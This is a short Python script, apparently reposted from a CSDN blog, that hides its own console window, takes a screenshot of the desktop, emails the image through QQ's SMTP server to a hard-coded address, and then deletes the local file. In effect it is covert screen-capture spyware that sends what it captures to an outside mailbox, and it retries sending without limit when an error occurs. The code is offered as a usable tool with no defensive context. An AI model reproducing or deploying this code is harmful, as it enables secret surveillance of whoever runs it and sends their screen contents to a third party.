from PIL import ImageGrab import ctypes import time from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage import smtplib import os whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) def sendfiles(): try: user = '********@qq.com' pwd = '********' to = ['******@qq.com'] msgRoot = MIMEMultipart('related') msgRoot['Subject'] = '截图' msgText = MIMEText( '''<b> Some <i> HTML </i> text </b > and an image.<img alt="" src="cid:image1"/>good!''', 'html', 'utf-8') msgRoot.attach(msgText) fp = open('./abc.bmp', 'rb') msgImage = MIMEImage(fp.read()) fp.close() msgImage.add_header('Content-ID', '<image1>') msgRoot.attach(msgImage) s = smtplib.SMTP('smtp.qq.com') s.login(user, pwd) s.sendmail(user, to, msgRoot.as_string()) print('发送成功') s.close() except: sendfiles() img = ImageGrab.grab() img.save('./abc.bmp') sendfiles() os.remove('./abc.bmp') time.sleep(180)
原文地址:http://blog.csdn.net/u013511642/article/details/44683543